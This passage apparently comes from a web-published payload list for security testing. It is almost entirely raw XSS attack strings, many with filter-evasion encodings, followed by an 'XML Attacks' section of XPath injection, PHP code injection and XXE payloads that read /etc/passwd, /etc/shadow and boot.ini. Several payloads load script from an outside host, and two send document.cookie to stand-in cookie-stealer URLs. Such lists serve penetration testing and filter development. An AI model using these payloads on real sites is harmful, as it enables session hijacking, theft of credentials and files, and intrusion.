&quot;&amp;lt;/TITLE&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;);&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;INPUT TYPE=&quot;&quot;IMAGE&quot;&quot; SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BODY BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;BODY ONLOAD=alert('XSS')&amp;gt;<br /> &quot;&amp;lt;IMG DYNSRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG LOWSRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BGSOUND SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BR SIZE=&quot;&quot;&amp;amp;{alert('XSS')}&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;LAYER SRC=&quot;&quot;http://ha.ckers.org/scriptlet.html&quot;&quot;&amp;gt;&amp;lt;/LAYER&amp;gt;&quot;<br /> &quot;&amp;lt;LINK REL=&quot;&quot;stylesheet&quot;&quot; HREF=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;LINK REL=&quot;&quot;stylesheet&quot;&quot; HREF=&quot;&quot;http://ha.ckers.org/xss.css&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;STYLE&amp;gt;@import'http://ha.ckers.org/xss.css';&amp;lt;/STYLE&amp;gt;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;Link&quot;&quot; Content=&quot;&quot;&amp;lt;http://ha.ckers.org/xss.css&amp;gt;; REL=stylesheet&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;BODY{-moz-binding:url(&quot;&quot;http://ha.ckers.org/xssmoz.xml#xss&quot;&quot;)}&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;XSS STYLE=&quot;&quot;behavior: url(xss.htc);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;li {list-style-image: url(&quot;&quot;javascript:alert('XSS')&quot;&quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;UL&amp;gt;&amp;lt;LI&amp;gt;XSS&quot;<br /> &quot;&amp;lt;IMG SRC='vbscript:msgbox(&quot;&quot;XSS&quot;&quot;)'&amp;gt;&quot;<br /> ¼script¾alert(¢XSS¢)¼/script¾<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0;url=javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0; URL=http://;URL=javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IFRAME SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&amp;lt;/IFRAME&amp;gt;&quot;<br /> &quot;&amp;lt;FRAMESET&amp;gt;&amp;lt;FRAME SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&amp;lt;/FRAMESET&amp;gt;&quot;<br /> &quot;&amp;lt;TABLE BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;TABLE&amp;gt;&amp;lt;TD BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image: url(javascript:alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image: url(&amp;amp;#1;javascript:alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;width: expression(alert('XSS'));&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;@im\port'\ja\vasc\ript:alert(&quot;&quot;XSS&quot;&quot;)';&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;IMG STYLE=&quot;&quot;xss:expr/*XSS*/ession(alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;XSS STYLE=&quot;&quot;xss:expression(alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;exp/*&amp;lt;A STYLE='no\xss:noxss(&quot;&quot;*//*&quot;&quot;);xss:ex/*XSS*//*/*/pression(alert(&quot;&quot;XSS&quot;&quot;))'&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE TYPE=&quot;&quot;text/javascript&quot;&quot;&amp;gt;alert('XSS');&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;.XSS{background-image:url(&quot;&quot;javascript:alert('XSS')&quot;&quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;A CLASS=XSS&amp;gt;&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE type=&quot;&quot;text/css&quot;&quot;&amp;gt;BODY{background:url(&quot;&quot;javascript:alert('XSS')&quot;&quot;)}&amp;lt;/STYLE&amp;gt;&quot;<br /> &amp;lt;!--[if gte IE 4]&amp;gt;&amp;lt;SCRIPT&amp;gt;alert('XSS');&amp;lt;/SCRIPT&amp;gt;&amp;lt;![endif]--&amp;gt;<br /> &quot;&amp;lt;BASE HREF=&quot;&quot;javascript:alert('XSS');//&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;OBJECT TYPE=&quot;&quot;text/x-scriptlet&quot;&quot; DATA=&quot;&quot;http://ha.ckers.org/scriptlet.html&quot;&quot;&amp;gt;&amp;lt;/OBJECT&amp;gt;&quot;<br /> &amp;lt;OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389&amp;gt;&amp;lt;param name=url value=javascript:alert('XSS')&amp;gt;&amp;lt;/OBJECT&amp;gt;<br /> &quot;&amp;lt;EMBED SRC=&quot;&quot;http://ha.ckers.org/xss.swf&quot;&quot; AllowScriptAccess=&quot;&quot;always&quot;&quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&quot;<br /> &quot;&amp;lt;EMBED SRC=&quot;&quot;data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==&quot;&quot; type=&quot;&quot;image/svg+xml&quot;&quot; AllowScriptAccess=&quot;&quot;always&quot;&quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&quot;<br /> &quot;&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;&quot;xss&quot;&quot; implementation=&quot;&quot;http://ha.ckers.org/xss.htc&quot;&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &quot;&amp;lt;XML ID=I&amp;gt;&amp;lt;X&amp;gt;&amp;lt;C&amp;gt;&amp;lt;![CDATA[&amp;lt;IMG SRC=&quot;&quot;javas]]&amp;gt;&amp;lt;![CDATA[cript:alert('XSS');&quot;&quot;&amp;gt;]]&amp;gt;&amp;lt;/C&amp;gt;&amp;lt;/X&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;XML ID=&quot;&quot;xss&quot;&quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;lt;IMG SRC=&quot;&quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&quot;&quot;&amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/XML&amp;gt;&amp;lt;SPAN DATASRC=&quot;&quot;#xss&quot;&quot; DATAFLD=&quot;&quot;B&quot;&quot; DATAFORMATAS=&quot;&quot;HTML&quot;&quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;XML SRC=&quot;&quot;xsstest.xml&quot;&quot; ID=I&amp;gt;&amp;lt;/XML&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;HTML&amp;gt;&amp;lt;BODY&amp;gt;&amp;lt;?xml:namespace prefix=&quot;&quot;t&quot;&quot; ns=&quot;&quot;urn:schemas-microsoft-com:time&quot;&quot;&amp;gt;&amp;lt;?import namespace=&quot;&quot;t&quot;&quot; implementation=&quot;&quot;#default#time2&quot;&quot;&amp;gt;&amp;lt;t:set attributeName=&quot;&quot;innerHTML&quot;&quot; to=&quot;&quot;XSS&amp;lt;SCRIPT DEFER&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&amp;lt;/BODY&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT SRC=&quot;&quot;http://ha.ckers.org/xss.jpg&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;!--#exec cmd=&quot;&quot;/bin/echo '&amp;lt;SCR'&quot;&quot;--&amp;gt;&amp;lt;!--#exec cmd=&quot;&quot;/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;'&quot;&quot;--&amp;gt;&quot;<br /> &quot;&amp;lt;? echo('&amp;lt;SCR)';echo('IPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;');&amp;nbsp;?&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;Set-Cookie&quot;&quot; Content=&quot;&quot;USERID=&amp;lt;SCRIPT&amp;gt;alert('XSS')&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;HEAD&amp;gt;&amp;lt;META HTTP-EQUIV=&quot;&quot;CONTENT-TYPE&quot;&quot; CONTENT=&quot;&quot;text/html; charset=UTF-7&quot;&quot;&amp;gt; &amp;lt;/HEAD&amp;gt;+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT =&quot;&quot;&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;&quot;&quot; '' SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT &quot;&quot;a='&amp;gt;'&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=`&amp;gt;` SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;'&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT&amp;gt;document.write(&quot;&quot;&amp;lt;SCRI&quot;&quot;);&amp;lt;/SCRIPT&amp;gt;PT SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://66.102.7.147/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://1113982867/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://0x42.0x0000066.0x7.0x93/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://0102.0146.0007.00000223/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;h\ntt\tp://6&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;//www.google.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;//google&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://google.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://www.google.com./&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;javascript:document.location='http://www.google.com/'&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://www.gohttp://www.google.com/ogle.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;div onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;input type=&quot;&quot;image&quot;&quot; dynsrc=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;bgsound src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;amp;{document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);};&quot;<br /> &quot;&amp;lt;img src=&amp;amp;{document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);};&amp;gt;&quot;<br /> &quot;&amp;lt;link rel=&quot;&quot;stylesheet&quot;&quot; href=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;iframe src=&quot;&quot;vbscript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;livescript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;a href=&quot;&quot;about:&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;meta http-equiv=&quot;&quot;refresh&quot;&quot; content=&quot;&quot;0;url=javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;body onload=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;background-image: url(javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;););&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;behaviour: url([link to code]);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;binding: url([link to code]);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;width: expression(document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;););&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;style type=&quot;&quot;text/javascript&quot;&quot;&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/style&amp;gt;&quot;<br /> &quot;&amp;lt;object classid=&quot;&quot;clsid:...&quot;&quot; codebase=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;style&amp;gt;&amp;lt;!--&amp;lt;/style&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);//--&amp;gt;&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;![CDATA[&amp;lt;!--]]&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);//--&amp;gt;&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;blah&quot;&quot;onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;blah&amp;gt;&quot;&quot; onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div datafld=&quot;&quot;b&quot;&quot; dataformatas=&quot;&quot;html&quot;&quot; datasrc=&quot;&quot;#X&quot;&quot;&amp;gt;&amp;lt;/div&amp;gt;&quot;<br /> &quot;&amp;lt;a href=&quot;&quot;javascript#document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img dynsrc=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;amp;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;mocha:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;binding: url([link to code]);&quot;&quot;&amp;gt; [Mozilla]&quot;<br /> &quot;&amp;lt;!-- -- --&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&amp;lt;!-- -- --&amp;gt;&quot;<br /> &quot;&amp;lt;xml src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;xml id=&quot;&quot;X&quot;&quot;&amp;gt;&amp;lt;a&amp;gt;&amp;lt;b&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;;&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/xml&amp;gt;&quot;<br /> &quot;[\xC0][\xBC]script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);[\xC0][\xBC]/script&amp;gt;&quot;<br /> &amp;gt;&amp;lt;script&amp;gt;<br /> &quot;&amp;lt;script&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;)&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;script&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;);//&amp;lt;&amp;lt;/script&amp;gt;&quot;<br /> &amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;<br /> '&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;<br /> '&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie);&amp;lt;/script&amp;gt;<br /> &quot;%3cscript%3ealert(&quot;&quot;WXSS&quot;&quot;);%3c/script%3e&quot;<br /> %3cscript%3ealert(document.cookie);%3c%2fscript%3e<br /> %3Cscript%3Ealert(%22X%20SS%22);%3C/script%3E<br /> &amp;amp;ltscript&amp;amp;gtalert(document.cookie);&amp;lt;/script&amp;gt;<br /> &amp;amp;ltscript&amp;amp;gtalert(document.cookie);&amp;amp;ltscript&amp;amp;gtalert<br /> &amp;lt;xss&amp;gt;&amp;lt;script&amp;gt;alert('WXSS')&amp;lt;/script&amp;gt;&amp;lt;/vulnerable&amp;gt;<br /> &amp;lt;IMG%20SRC='javascript:alert(document.cookie)'&amp;gt;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;javascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&quot;<br /> &amp;lt;IMG%20SRC=JaVaScRiPt:alert('WXSS')&amp;gt;<br /> &amp;lt;IMG%20SRC=javascript:alert(&quot;WXSS&quot;)&amp;gt;<br /> &quot;&amp;lt;IMG%20SRC=`javascript:alert(&quot;&quot;'WXSS'&quot;&quot;)`&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20&quot;&quot;&quot;&quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG%20SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;<br /> &amp;lt;IMG%20SRC='javasc<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav<br /> ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav<br /> ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;%20&amp;amp;#14;%20javascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20DYNSRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20LOWSRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG%20SRC='%26%23x6a;avasc%26%23000010ript:a%26%23x6c;ert(document.%26%23x63;ookie)'&amp;gt;<br /> &amp;lt;IMG%20SRC=javascript:alert('XSS')&amp;gt;<br /> &amp;lt;IMG%20SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;<br /> &amp;lt;IMG%20SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;<br /> '%3CIFRAME%20SRC=javascript:alert(%2527XSS%2527)%3E%3C/IFRAME%3E<br /> &quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://cookieStealer/cgi-bin/cookie.cgi?'+document.cookie&amp;lt;/script&amp;gt;<br /> %22%3E%3Cscript%3Edocument%2Elocation%3D%27http%3A%2F%2Fyour%2Esite%2Ecom%2Fcgi%2Dbin%2Fcookie%2Ecgi%3F%27%20%2Bdocument%2Ecookie%3C%2Fscript%3E<br /> ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//;alert(String.fromCharCode(88,83,83))//\;alert(String.fromCharCode(88,83,83))//&amp;gt;&amp;lt;/SCRIPT&amp;gt;!--&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;=&amp;amp;{}<br /> '';!--&amp;lt;XSS&amp;gt;=&amp;amp;{()}&quot;<br /> &lt;/pre&gt; <br /> &lt;br&gt; <br /> <br /> === XML Attacks - (Update: 11 August 2009 - Total Statements: 15) ===<br /> &lt;pre&gt;Statements<br /> count(/child::node())<br /> x' or name()='username' or 'x'='y<br /> &amp;lt;name&amp;gt;','')); phpinfo(); exit;/*&amp;lt;/name&amp;gt;<br /> &amp;lt;![CDATA[&amp;lt;script&amp;gt;var n=0;while(true){n++;}&amp;lt;/script&amp;gt;]]&amp;gt;<br /> &amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('XSS');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('XSS');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[' or 1=1 or ''=']]&amp;gt;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file://c:/boot.ini&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////etc/passwd&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////etc/shadow&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM 